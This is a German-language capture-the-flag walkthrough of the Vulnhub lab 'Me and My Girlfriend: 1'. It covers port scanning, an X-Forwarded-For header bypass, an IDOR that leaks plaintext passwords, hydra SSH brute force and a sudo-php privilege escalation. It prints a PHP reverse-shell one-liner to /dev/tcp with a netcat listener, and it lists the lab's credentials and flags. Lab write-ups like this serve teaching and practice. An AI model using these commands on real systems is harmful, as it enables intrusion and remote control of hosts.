Me and My Girlfriend: 1 – Vulnhub

VM: Me and My Girlfriend: 1
Quelle: www.vulnhub.com
Ziel: bekommen der Root Rechte.
Tools: NMAP, DIRB, Hydra, Burp Suite CE, netcat
Techniken: Netzwerk & Port Scan, Enumeration, Privilege Escalation, Reverse Shell, Brute Force, Proxy, HTTP-Header

Schritt 1: Scanning

Voraussetzungen: VM ist gestartet, eine IP wurde durch DHCP zugewiesen.

Nachdem die VM gestartet und geladen wurde, müssen wir die IP von der VM ermitteln. Dabei hilft uns das Tool NMAP welches beim Kali Linux schon vorinstalliert ist. Falls auf deinem System kein NMAP installiert ist, kannst du es aus Repositorien oder von der Seite des Entwicklers herunterladen und installieren.

Mit dem Befehl nmap -PE -sn -oG - 192.168.178.1/24 scannen wir unser Netzwerk auf aktive Geräte, die auf ein Ping antworten. Als Netzwerkadresse muss du dein Netzwerkbereich eingeben.

ME and my Girlfriend IP Scan

Bei mir wurde der VM die IP 192.168.178.82 (rot markiert) zugewiesen.

Nachdem wir die IP von der VM ermittelt haben, können wir einen Port-Scan durchführen. Mit einem Port-Scan kann ermittelt werden welche Dienste auf der VM laufen. Das machen wir mit dem gleichen Tool nur mit anderem Parameter. nmap -p- -A 192.168.178.82 gibt uns alle offene Ports aus, die auf ein TCP Verbindungsversuch antworten.

Me and my Girlfriend Port Scan

Wie auf dem Bild zu sehen ist, wurden zwei offene Ports ermittelt:

PortService
22SSH
80HTTP

Schritt 2: Enumeration

Nachdem wir die offenen Ports ermittelt haben, ist die Zeit gekommen so viel wie möglich Informationen über das System zu kriegen. Fangen wir mit dem Port 80 – HTTP Server an. Dazu geben wir einfach die IP, die wir im Schritt 1 ermittelt haben in einen beliebigen Internet Browser an.
http://192.168.178.82

Beim Aufrufen der Startseite bekommen wir eine Meldung:

Who are you? Hacker? Sorry This Site Can Only Be Accessed local!

So wie es aussieht kann die Seite nur lokal aufgerufen werden.

Probieren wir den Server mit DIRB zu scannen. Vielleicht kriegen wir an da etwas mehr Informationen raus.

dirb http://192.168.178.82

Me and my Girlfriend DIRB

Hier können wir schon etwas mehr Informationen finden. Es sind die robots.txt Datei und zwei Verzeichnisse /config und /misc. Wenn wir die entsprechenden Verzeichnisse im Internet Browser öffnen, finden wir zwei weitere Dateien drin: /misc/process.php und /config/config.php. Leider kriegen wir beim Aufruf dieser Dateien nur leere Seiten. Beim Öffnen der robots.txt Datei sehen wir folgenden Inhalt:

User-Agent: *
Allow: /heyhoo.txt

Wenn wir die Datei /heyhoo.txt öffnen, sehen wir folgende Text:

Great! What you need now is reconn, attack and got the shell

welches uns leider auch nicht weiter bringt.

Schritt 3: Infiltration

Nachdem wir die ersten Informationen über den Host gesammelt haben, können wir die weiteren Schritte überlegen. Zu diesem Zeitpunkt sehe ich zwei Angriffspunkte: die index.php Seite und die zwei .php Skripte. Bei den .php Skripten könnte man versuchen nach möglichen LFI Schwachstellen zu prüfen und bei der index.php Seite wir können versuchen uns als lokaler Benutzer auszugeben.

Fangen wir mit den index.php an. Die Meldung, die wir gekriegt haben, teilt uns mit, dass die Seite nur von Localhost erreichbar ist. Localhost hat unter anderem die IP: 127.0.0.1. Versuchen wir uns mit der Hilfe vom HTTP-Header

X-Forwarded-For: 127.0.0.1

als Proxy für den Localhost zu fungieren. Um dies zu machen, können entweder bestimmte Interner Browser Plugins oder ein Proxy-Programm nutzen. Da bei mir das Burp Suite CE schon installiert ist und immer im Hintergrund läuft, nutze ich es, um den HTTP-Header zu setzen.

Me and my Girlfriend Burp

Wenn wir jetzt versuchen die index.php Seite aufzurufen, sehen wir folgender Inhalt:

Me and my Girlfriend HTTP

Schritt 4: Enumeration

Jetzt können wir hier eine Seite sehen, die uns Login und Registrierungsmöglichkeiten bietet. Eine Analyse der Quellcodes der Seite lieferte keine nutzbare Informationen. Probieren wir uns einfach mal hier zu registrieren, um zu sehen welche Informationen einem Registriertem Benutzer zur Verfügung stehen. Nachdem wir einen Benutzer registriert und uns eingeloggt haben, können wie auf ein leeres Dashboard und auf die Profil-Seite zugreifen.

Me and my Girlfriend HTTP2

Beim Aufrufen der Profil-Seite können wir sehen, dass unsere ID=12 ist, was ist wenn wir diese ID ändern? Können wir eventuell weitere Benutzer identifizieren? Gesagt, getan. Wir ändern den Parameter auf ID=1 und kriegen die Informationen über einen anderen Benutzer.

My and my Girlfriend HTTP3

Was mir an der Stelle noch aufgefallen ist, dass die angezeigte Passwortlänge anders ist als bei meinem Benutzer. Wird das Passwort mitgeladen? Da werfen wir doch einen Blick in den Quellcode. Und tatsächlich, das Passwort wird im Klartext mitgeladen.

<form action="#" method="POST">
<label for="name">Name</label>
<input type="text" name="name" id="name" value="Eweuh Tandingan"><br>
<label for="username">Username</label>
<input type="text" name="username" id="username" value="eweuhtandingan"><br>
<label for="password">Password</label>
<input type="password" name="password" id="password" value="skuyatuh"><br>
<button disabled="disabled">Change</button>

So wie es aussieht können wir auf diese Weise alle Benutzer samt Passwörtern auslesen. Nach kurzer Zeit hatte ich folgende Benutzer und Passwörter sammeln können.

BenutzerPasswort
eweuhtandingan skuyatuh
aingmaung qwerty!!!
sundatea indONEsia
sedihaingmah cedihhihihi
alice4lic3
abdikasepakdorrrrr

Schritt 5: Infiltration

An dieser Stelle haben wir sechs Benutzer mit entsprechenden Passwörtern sammeln können. Probieren wir uns damit per SSH zu verbinden. Um das Ganze zu automatisieren speichere ich die Benutzer in users.txt und die Passwörter in pass.txt. Zum Brute Force des SSH Zugangs benutzen wir das Programm Hydra was dafür hervorragend passt.

hydra -L users.txt -P pass.txt 192.168.178.82 ssh

Me and my Girlfriend Hydra

Ein Erfolg! Der Benutzeralice“ benutzt gleiche Zugangsdaten zum System und zur Web-Seite.

Loggen wir uns mit den ermittelten Zugangsdaten per SSH an und gucken uns erstmal um.

Me and my Girlfriend SSH

Nach dem Einloggen finden wir ein verstecktes Verzeichnis „./my_secret“ indem wir die Dateien flag1.txt und my_notes.txt finden. Damit haben wir den ersten Flag schon gefunden. Es bleibt nur noch der zweite.

Flag 1 : gfriEND{2f5f21b2af1b8c3e227bcf35544f8f09}

In der my_notes.txt finden wir keine nützlichen Informationen.

Prüfen wir ob wir irgendwelche Befehle als root ausführen können.

Me and my Girlfriend sudo

Wie es aussieht dürfen wir PHP als Benutzer root ohne Passwort ausführen. Das eignet sich super, um eine Reverse Shell aufzubauen. Dazu erstellen wir einfach eine rshell.php Datei mit folgendem Inhalt:

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.178.100/8888 0>&1'");
?>

Damit unsere Verbindung aufgebaut werden starten wir lokal einen netcat, welches auf dem Port 8888 lauscht:

nc -lvp 8888

Jetzt starten wir unseren rshell.php Skript:

sudo php rshell2.php

und bauen damit eine Reverse Shell Verbindung auf. Ein Blick in den root Verzeichnis liefert uns auf die zweite Flag Datei.

Me and my Girlfriend Final

Flag 2: gfriEND{56fbeef560930e77ff984b644fde66e7}